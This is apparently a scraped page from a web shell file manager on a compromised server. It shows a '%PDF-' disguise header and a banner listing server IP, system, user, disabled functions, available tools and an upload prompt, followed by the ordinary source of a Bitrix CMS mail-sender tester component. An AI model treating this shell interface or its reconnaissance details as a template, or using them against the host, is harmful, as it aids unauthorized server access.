%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.141.42.5 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.message.tester/ |
Upload File : |
<?php define('STOP_STATISTICS', true); define('BX_SECURITY_SHOW_MESSAGE', true); require_once($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/prolog_before.php'); use Bitrix\Main\HttpRequest; use Bitrix\Main\Mail\Address; use Bitrix\Sender\Entity; use Bitrix\Sender\Internals\CommonAjax; use Bitrix\Sender\Internals\QueryController as Controller; use Bitrix\Sender\Security; if (!Bitrix\Main\Loader::includeModule('sender')) { return; } \Bitrix\Main\Localization\Loc::loadMessages(__FILE__); $actions = array(); $actions[] = Controller\Action::create('test')->setHandler( function (HttpRequest $request, Controller\Response $response) { $data = array( 'MESSAGE_CODE' => $request->get('messageCode'), 'MESSAGE_ID' => $request->get('messageId') ); $messageData = $request->get('messageData'); if (!is_array($messageData)) { $messageData = array(); } \CUtil::decodeURIComponent($messageData); $list = $request->get('list'); if (!is_array($list)) { $list = array(); } $letter = new Entity\Letter; $letter->mergeData($data); $parameters = prepareOptions($letter, $messageData); $configuration = $letter->getMessage()->getConfiguration(); $result = $configuration->checkOptions(); if ($result->isSuccess()) { $result = $letter->test($list, $parameters); } $content = $response->initContentJson(); $content->set(array( 'isSuccess' => $result->isSuccess(), 'resultErrors' => $result->getErrorMessages(), 'errorCode' => array_reduce( $result->getErrors(), function ($prev, $error) // get first error code { return $prev <> '' ? $prev : $error->getCode(); }, '' ) )); } ) ; $actions[] = Controller\Action::create('consent')->setHandler( function (HttpRequest $request, Controller\Response $response) { $errorMsg = null; $result = null; $transport = \Bitrix\Sender\Transport\Adapter::create($request->get('messageCode')); $messageData = $request->get('messageData'); $letter = new Entity\Letter; $letter->mergeData(array( 'MESSAGE_CODE' => $request->get('messageCode'), 'MESSAGE_ID' => $request->get('messageId') ) ); $parameters = prepareOptions($letter, $messageData); $agreement = new \Bitrix\Main\UserConsent\Agreement( (int)$letter->getMessage()->getConfiguration()->get('APPROVE_CONFIRMATION_CONSENT'), ['fields' => ['IP']] ); if (!$agreement->isExist() || !$agreement->isActive()) { $content = $response->initContentJson(); $content->set(array( 'isSuccess' => false, 'resultErrors' => [ \Bitrix\Main\Localization\Loc::getMessage("SENDER_MESSAGE_TESTER_ERROR_UNKNOWN_AGREEMENT") ], )); return; } try { $list = is_array($list = $request->get('list'))? $list : []; foreach ($list as $code) { $sendResult = $transport->sendTestConsent( $letter->getMessage(), ['CONTACT_CODE' => $code, 'SITE_ID' => SITE_ID] ); $result = isset($result) ? $sendResult && $result : $sendResult; } } catch (\Exception $exception) { $errorMsg = $exception->getMessage(); } $content = $response->initContentJson(); $content->set(array( 'isSuccess' => $result, 'resultErrors' => $errorMsg, )); } ) ; function prepareOptions(&$letter, &$messageData) { $parameters = []; if (is_array($messageData) && count($messageData)) { foreach ($letter->getMessage()->getConfiguration()->getOptions() as $option) { if (!isset($messageData[$option->getCode()])) { continue; } if ($option->getType() === \Bitrix\Sender\Message\ConfigurationOption::TYPE_MAIL_EDITOR) { $value = $messageData[$option->getCode()]; $value = Security\Sanitizer::fixReplacedStyles($value); $value = Security\Sanitizer::sanitizeHtml($value, $option->getValue()); $messageData[$option->getCode()] = $value; } if ($option->getType() === \Bitrix\Sender\Message\ConfigurationOption::TYPE_AUDIO) { $value = $messageData[$option->getCode()]; $messageData[$option->getCode()] = $letter->getMessage()->getAudioValue($option->getCode(), $value); } if ($option->getType() === \Bitrix\Sender\Message\ConfigurationOption::TYPE_EMAIL) { $value = $messageData[$option->getCode()]; if (\Bitrix\Sender\Integration\Sender\AllowedSender::isAllowed($value)) { $address = new Address(); $address->set($value); $value = $address->get(); } else { $value = ""; } $messageData[$option->getCode()] = $value; } if ($option->getType() !== \Bitrix\Sender\Message\ConfigurationOption::TYPE_FILE) { continue; } $postFiles = new \Bitrix\Sender\Internals\PostFiles("messageData[" . $option->getCode() . "]"); $files = $messageData[$option->getCode()]; $files = is_array($files) ? $files : array(); $messageData[$option->getCode()] = $postFiles->getFiles([], $files); } $letter->getMessage()->setConfigurationData($messageData); if ($messageData['CAMPAIGN_ID']) { $parameters['CAMPAIGN_ID'] = $messageData['CAMPAIGN_ID']; } } return $parameters; } $checker = CommonAjax\Checker::getViewLetterPermissionChecker(); Controller\Listener::create()->addChecker($checker)->setActions($actions)->run();